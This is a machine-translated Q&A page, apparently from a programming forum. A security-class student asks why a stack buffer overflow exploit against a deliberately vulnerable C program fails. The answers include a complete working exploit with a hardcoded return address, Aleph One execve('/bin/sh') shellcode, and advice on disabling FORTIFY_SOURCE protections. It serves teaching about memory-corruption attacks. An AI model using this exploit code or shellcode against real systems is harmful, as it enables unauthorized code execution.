5

まだセキュリティクラスのためにこのバッファオーバーフローのことを学んでいますが、私はこのアプリケーションの脆弱性を悪用しようとしています:

//vuln.c
#include <stdio.h>

int bof(char *str)
{
     char buffer[12];

     //BO Vulnerability
     strcpy(buffer,str);

     return 1;
}

int main(int argc, char* argv[])
{
     char str[517];

     FILE *badfile;
         badfile = fopen("badfile","r");

     fread(str, sizeof(char),517, badfile);
     bof(str);

     printf("Returned Properly\n");
     return 1;
}

このエクスプロイトアプリケーションの使用:

//exploit.c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>

const char code[] =
"\x31\xc0"
"\x50"
"\x68""//sh"
"\x68""/bin"
"\x89\xe3"
"\x50"
"\x53"
"\x89\xe1"
"\x99"
"\xb0\x0b"
"\xcd\x80"
;


int main(int argc, char* argv[])
{
    char buffer[517];
    char large_string[512];
    FILE *badfile;
        badfile = fopen("./badfile", "w");

    //NOPslide
    memset(&buffer,0x90,517);

    //BEGIN FILL BUFFER
         //from stack_smashing.pdf
    long *long_ptr = (long *) large_string;

    int i;
    for (i = 0; i < 128; i++) 
        *(long_ptr + i) = (int) buffer;

    for (i = 100; i < strlen(code)+100; i++) 
        large_string[i] = code[i];

    strcpy(buffer,large_string);
    //END FILL BUFFER

    //save buffer to badfile
    fwrite(buffer,517,1,badfile);
    fclose(badfile);

    return 0;
}

何らかの理由で、エクスプロイトを実行してbadfileを作成しても、何もプッシュされません。バッファが空であるか、正しく書き込まれていません。私は自分のエラーを見つけることができないようで、たゆまずグーグル検索した後、私は十分な答えを見つけることができませんでした。私が使用したFillBufferCodeの理解から、これはlong_stringを私のバッファーのアドレスで埋め、次にシェルコードをlong_stringの先頭(NOOPスライドのビットの後)に置き、long_stringをバッファーにコピーして戻す必要があります。これやfwriteに問題はありません。提案?

4

3 に答える 3

0

さて、スタックを壊すことで実際に何が達成されるかを理解する必要があります。それは基本的に多くの値を壊し、基本的にスタック上のリターンポインタのアドレスである特定のアドレスを上書きします($ebp + 4)。あなたは間違いなくスタックを壊そうとしていますが、シェルコードを指す別のアドレスでオーバーライドする必要のあるアドレスを正確に理解するために、やらなければならないことがたくさんあります。

http://www.phrack.com/issues.html?issue=49&id=14

現在、これら2つのことのどちらも機能していません。

gdbまたは別のツールを使用して、実際の脆弱なコードのアセンブリコードを調べ、リターンアドレスを確認する必要があります。これに基づいて、コマンドラインを使用してスタックを粉砕しようとします。

次に、スタックを壊さずにエクスプロイトコードを実行します。シェルコードを配置する場所を指しているはずの実際の差出人住所を取得してみてください。

スタックを壊すという概念を実際に理解するには、phrackの読み方に従う必要があります。お役に立てば幸いです。

于 2013-02-13T06:39:16.317 に答える
0

コードに欠けている非常に重要なことが1つあります。私はあなたにそれを自分で見つけさせますが、私がしばらく前に解決した非常に単純なバッファオーバーフローの問題を見て、おそらくあなたを助けるでしょう。

これを脆弱性のあるターゲットコードと考えてください—簡単なバッファオーバーフロー。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

int foo(char *arg)
{
  char buf[200];
  strcpy(buf, arg);
}

int main(int argc, char *argv[])
{
  if (argc != 2)
    {
      fprintf(stderr, "target1: argc != 2\n");
      exit(EXIT_FAILURE);
    }
  foo(argv[1]);
  return 0;
}

エクスプロイトコードは次のとおりです。

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include "shellcode.h"

#define TARGET "/tmp/target1"

int main(void)
{
    char arg1[215] = "";
    memset(arg1,'\x90', 215);
    memcpy(arg1,shellcode,45);

    //0xbffffd78
    //0xbffffcb8

    arg1[212] = '\x88';
    arg1[213] = '\xfc';
    arg1[214] = '\xff';
    arg1[215] = '\xbf';
    char *args[] = { TARGET, arg1, NULL };
    char *env[] = { NULL };

    if (0 > execve(TARGET, args, env))
        fprintf(stderr, "execve failed.\n");

    return 0;
}

ターゲットを定義して使用する方法をご覧ください。

また、私は以前にそのシェルコードを見たことがあります。私は次のものを使用します(フレーズ):

/*
 * Aleph One shellcode.
 */
static char shellcode[] =
  "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  "\x80\xe8\xdc\xff\xff\xff/bin/sh";

あなたのコードでそれをチェックして、それがうまくいくかどうか私に知らせてください。

また:

strcpy(buffer,large_string);

stdinからlarge_stringを受け入れるかどうかに関係なく、これを書くことは悪い習慣です。

于 2013-02-13T05:53:34.183 に答える
0
strcpy(buffer,large_string);

テスト中に対処する必要があることの1つは、この関数呼び出しです。

memcpyFORTIFY_SOURCEは、やなどのリスクの高い関数の「より安全な」バリアントを使用しstrcpyます。コンパイラーは、宛先バッファー・サイズを推測できる場合、より安全なバリアントを使用します。コピーが宛先バッファサイズを超える場合、プログラムはを呼び出しますabort()

テストでFORTIFY_SOURCEを無効にするには、-U_FORTIFY_SOURCEまたはを使用してプログラムをコンパイルする必要があります-D_FORTIFY_SOURCE=0

于 2014-09-12T13:12:51.783 に答える